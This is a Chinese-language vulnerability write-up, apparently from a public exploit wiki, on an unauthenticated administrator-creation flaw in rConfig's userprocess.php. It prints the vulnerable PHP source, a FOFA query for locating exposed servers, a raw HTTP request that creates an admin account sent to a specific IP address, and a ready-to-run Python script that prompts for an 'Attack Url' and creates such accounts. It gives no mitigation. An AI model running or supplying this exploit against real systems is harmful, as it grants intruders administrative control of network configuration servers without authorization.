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393 lines
14 KiB
Markdown
393 lines
14 KiB
Markdown
# rConfig userprocess.php 任意用户创建漏洞
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## 漏洞描述
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rConfig userprocess.php 存在任意用户创建漏洞，发送特定的请求包攻击者可以创建管理员账户登录后台
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## 漏洞影响
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```
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rConfig
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```
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## FOFA
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```
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app="rConfig"
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```
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## 漏洞复现
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出现漏洞的文件为 userproce.php
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```php
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<?php
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/**
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* Process.php
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*
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* The Process class is meant to simplify the task of processing
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* user submitted forms, redirecting the user to the correct
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* pages if errors are found, or if form is successful, either
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* way. Also handles the logout procedure.
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*
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* Written by: Jpmaster77 a.k.a. The Grandmaster of C++ (GMC)
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* Last Updated: August 19, 2004
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*/
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include("/home/rconfig/classes/usersession.class.php");
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class Process {
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/* Class constructor */
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function Process() {
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global $session;
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/* User submitted login form */
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if (isset($_POST['sublogin'])) {
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$this->procLogin();
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}
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/* Admin submitted user add form */ else if (isset($_POST['add']) && isset($_POST['editid']) && empty($_POST['editid'])) {
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$this->procRegister();
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}
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/* Admin submitted user edit form */ else if (isset($_POST['add']) && isset($_POST['editid']) && !empty($_POST['editid'])) {
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$this->procUpdateAccount();
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}
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/* User submitted forgot password form */ else if (isset($_POST['subforgot'])) {
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$this->procForgotPass();
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}
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/* User submitted edit account form */ else if (isset($_POST['subedit'])) {
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$this->procEditAccount();
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}
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/**
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* The only other reason user should be directed here
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* is if he wants to logout, which means user is
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* logged in currently.
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*/ else if ($session->logged_in) {
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$this->procLogout();
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}
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/**
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* Should not get here, which means user is viewing this page
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* by mistake and therefore is redirected.
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*/ else {
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header("Location: /login.php");
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}
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}
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/**
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* procLogin - Processes the user submitted login form, if errors
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* are found, the user is redirected to correct the information,
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* if not, the user is effectively logged in to the system.
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*/
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function procLogin() {
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global $session, $form;
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/* Login attempt */
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$retval = $session->login($_POST['user'], $_POST['pass'], isset($_POST['remember']));
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/* Login successful */
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if ($retval) {
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header("Location: " . $session->referrer);
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}
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/* Login failed */ else {
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$_SESSION['value_array'] = $_POST;
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$_SESSION['error_array'] = $form->getErrorArray();
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header("Location: " . $session->referrer);
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}
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}
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/**
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* procLogout - Simply attempts to log the user out of the system
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* given that there is no logout form to process.
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*/
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function procLogout() {
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global $session;
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$retval = $session->logout();
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header("Location: /login.php");
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}
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/**
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* procRegister - Processes the user submitted registration form,
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* if errors are found, the user is redirected to correct the
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* information, if not, the user is effectively registered with
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* the system and an email is (optionally) sent to the newly
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* created user.
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*/
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function procRegister() {
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global $session, $form;
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/* Convert username to all lowercase (by option) */
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if (ALL_LOWERCASE) {
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$_POST['username'] = strtolower($_POST['username']);
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}
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/* Registration attempt */
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$retval = $session->register($_POST['username'], $_POST['password'], $_POST['passconf'], $_POST['email'], $_POST['ulevelid']);
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/* Registration Successful */
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if ($retval == 0) {
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$_SESSION['reguname'] = $_POST['username'];
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$_SESSION['regsuccess'] = true;
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$errors['Success'] = "User " . $_POST['username'] . " successfully added to Database";
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$_SESSION['errors'] = $errors;
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header("Location: " . $session->referrer);
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}
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/* Error found with form */ else if ($retval == 1) {
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$_SESSION['value_array'] = $_POST;
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$_SESSION['errors'] = $form->getErrorArray();
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header("Location: " . $session->referrer . "?error");
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}
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/* Registration attempt failed */ else if ($retval == 2) {
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$_SESSION['reguname'] = $_POST['username'];
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$_SESSION['regsuccess'] = false;
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$errors['Fail'] = "ERROR: User " . $_POST['username'] . " could not be added to Database";
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$_SESSION['errors'] = $errors;
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header("Location: " . $session->referrer);
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}
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}
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/**
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* procForgotPass - Validates the given username then if
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* everything is fine, a new password is generated and
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* emailed to the address the user gave on sign up.
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*/
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function procForgotPass() {
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global $database, $session, $mailer, $form;
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/* Username error checking */
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$subuser = $_POST['user'];
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$field = "user"; //Use field name for username
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if (!$subuser || strlen($subuser = trim($subuser)) == 0) {
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$form->setError($field, "Username not entered<br>");
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$_SESSION['value_array'] = $_POST;
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$_SESSION['errors'] = $form->getErrorArray();
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header("Location: " . $session->referrer . "?error");
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} else {
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/* Make sure username is in database */
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$subuser = stripslashes($subuser);
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if (strlen($subuser) < 5 || strlen($subuser) > 30 ||
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!preg_match("/^([0-9a-z])+$/", $subuser) ||
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(!$database->usernameTaken($subuser))) {
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$form->setError($field, "Unknown Username");
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$_SESSION['value_array'] = $_POST;
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$_SESSION['errors'] = $form->getErrorArray();
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header("Location: " . $session->referrer . "?error");
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}
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}
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/* Errors exist, have user correct them */
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if ($form->num_errors > 0) {
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$_SESSION['value_array'] = $_POST;
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$_SESSION['error_array'] = $form->getErrorArray();
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} else {
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/* Generate new password */
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$newpass = $session->generateRandStr(8);
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/* Get email of user */
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$usrinf = $database->getUserInfo($subuser);
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$email = $usrinf['email'];
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/* Attempt to send the email with new password */
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if ($mailer->sendNewPass($subuser, $email, $newpass)) {
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/* Email sent, update database */
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$database->updateUserField($subuser, "password", md5($newpass));
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echo "<script>"
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. "alert('Your new password has been generated. The password was emailed to $email');"
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. "window.close();"
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. "</script>";
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}/* Email failure, do not change password */
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else {
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$_SESSION['forgotpass'] = false;
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}
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}
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}
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/**
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* procEditAccount - Attempts to edit the user's account
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* information, including the password, which must be verified
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* before a change is made.
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*/
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function procEditAccount() {
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global $session, $form;
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/* Account edit attempt */
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$retval = $session->editAccount($_POST['editid'], $_POST['username'], $_POST['curpass'], $_POST['newpass'], $_POST['passconf'], $_POST['email'], $_POST['ulevelid']);
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/* Account edit successful */
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if ($retval == 0) {
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$_SESSION['useredit'] = $_POST['username'];
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$_SESSION['useredit'] = true;
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$errors['Success'] = "User " . $_POST['username'] . " successfully edited";
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$_SESSION['errors'] = $errors;
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header("Location: " . $session->referrer);
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}
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/* Error found with form */ else if ($retval == 1) {
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$_SESSION['value_array'] = $_POST;
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$_SESSION['errors'] = $form->getErrorArray();
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header("Location: " . $session->referrer . "?error");
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}
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/* Registration attempt failed */ else if ($retval == 2) {
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$_SESSION['useredit'] = $_POST['username'];
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$_SESSION['regsuccess'] = false;
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$errors['Fail'] = "ERROR: User " . $_POST['username'] . " could not be edited";
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$_SESSION['errors'] = $errors;
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header("Location: " . $session->referrer);
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}
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}
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/**
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* procEditAccount - Attempts to edit the user's account
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* information, including the password, which must be verified
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* before a change is made.
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*/
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function procUpdateAccount() {
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// http or https check for url Protocol
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$protocol = 'http';
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if (isset($_SERVER['HTTPS'])) {
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if (strtoupper($_SERVER['HTTPS']) == 'ON') {
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$protocol = 'https';
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}
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}
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global $session, $form;
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/* Account edit attempt */
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$retval = $session->updateAccount($_POST['editid'], $_POST['username'], $_POST['password'], $_POST['passconf'], $_POST['email'], $_POST['ulevelid']);
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/* Account edit successful */
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if ($retval == 0) {
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$_SESSION['useredit'] = $_POST['username'];
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$_SESSION['useredit'] = true;
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$errors['Success'] = "User " . $_POST['username'] . " successfully edited";
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$_SESSION['errors'] = $errors;
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header("Location: " . $protocol . "://" . $_SERVER['HTTP_HOST'] . "/" . "useradmin.php");
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}
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/* Error found with form */ else if ($retval == 1) {
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$_SESSION['value_array'] = $_POST;
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$_SESSION['errors'] = $form->getErrorArray();
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header("Location: " . $protocol . "://" . $_SERVER['HTTP_HOST'] . "/" . "useradmin.php?error");
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}
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/* Registration attempt failed */ else if ($retval == 2) {
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$_SESSION['useredit'] = $_POST['username'];
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$_SESSION['regsuccess'] = false;
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$errors['Fail'] = "ERROR: User " . $_POST['username'] . " could not be edited";
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$_SESSION['errors'] = $errors;
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header("Location: " . $protocol . "://" . $_SERVER['HTTP_HOST'] . "/" . "useradmin.php");
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}
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}
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}
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/* Initialize process */
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$process = new Process;
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```
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出现漏洞的原因是对权限设定错误，任何人都可以通过访问这个文件创建管理员用户
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发送如下请求包创建管理员用户 testtest，密码为 testtest[@123 ]()
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```plain
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POST /lib/crud/userprocess.php HTTP/1.1
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Host: 194.149.41.11
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User-Agent: python-requests/2.25.1
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Accept-Encoding: gzip, deflate
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Accept: */*
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Connection: keep-alive
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Content-Type: multipart/form-data; boundary=b1467349fcce4aa0ae8d44439f4e06bc
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Upgrade-Insecure-Requests: 1
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Referer: http://194.149.41.11/useradmin.php
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Origin: http://194.149.41.11/
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Cookie: PHPSESSID=test
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Content-Length: 697
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--b1467349fcce4aa0ae8d44439f4e06bc
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Content-Disposition: form-data; name="username"
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testtest
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--b1467349fcce4aa0ae8d44439f4e06bc
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Content-Disposition: form-data; name="password"
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testtest@123
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--b1467349fcce4aa0ae8d44439f4e06bc
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Content-Disposition: form-data; name="passconf"
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testtest@123
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--b1467349fcce4aa0ae8d44439f4e06bc
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Content-Disposition: form-data; name="email"
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testtest@test.com
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--b1467349fcce4aa0ae8d44439f4e06bc
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Content-Disposition: form-data; name="ulevelid"
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9
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--b1467349fcce4aa0ae8d44439f4e06bc
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Content-Disposition: form-data; name="add"
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add
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--b1467349fcce4aa0ae8d44439f4e06bc
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Content-Disposition: form-data; name="editid"
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--b1467349fcce4aa0ae8d44439f4e06bc--
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```
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成功创建用户 testtest，以管理员身份登录后台
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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from requests_toolbelt.multipart.encoder import MultipartEncoder
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: rConfig userprocess.php 任意用户创建漏洞 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/lib/crud/userprocess.php"
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referer = target_url + "useradmin.php"
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ran_number = random.randint(1, 999)
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origin = target_url
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multipart_data = MultipartEncoder(
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fields={
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'username': 'testtest{}'.format(ran_number),
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'password': 'testtest@{}'.format(ran_number),
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'passconf': 'testtest@{}'.format(ran_number),
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'email': 'testtest{}@test.com'.format(ran_number),
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'ulevelid': '9',
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'add': 'add',
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'editid': ''
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}
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)
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headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer,
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"Origin": origin}
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cookies = {'PHPSESSID': 'testtest{}'.format(ran_number)}
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print("\033[36m[o] 正在创建账户..... \033[0m".format(ran_number, ran_number))
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(vuln_url, data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
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if "error" not in response.text:
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print("\033[36m[o] 成功创建账户 testtest{}/testtest@{} \033[0m".format(ran_number, ran_number))
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else:
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print("\033[31m[x] 创建失败:{} \033[0m")
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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#
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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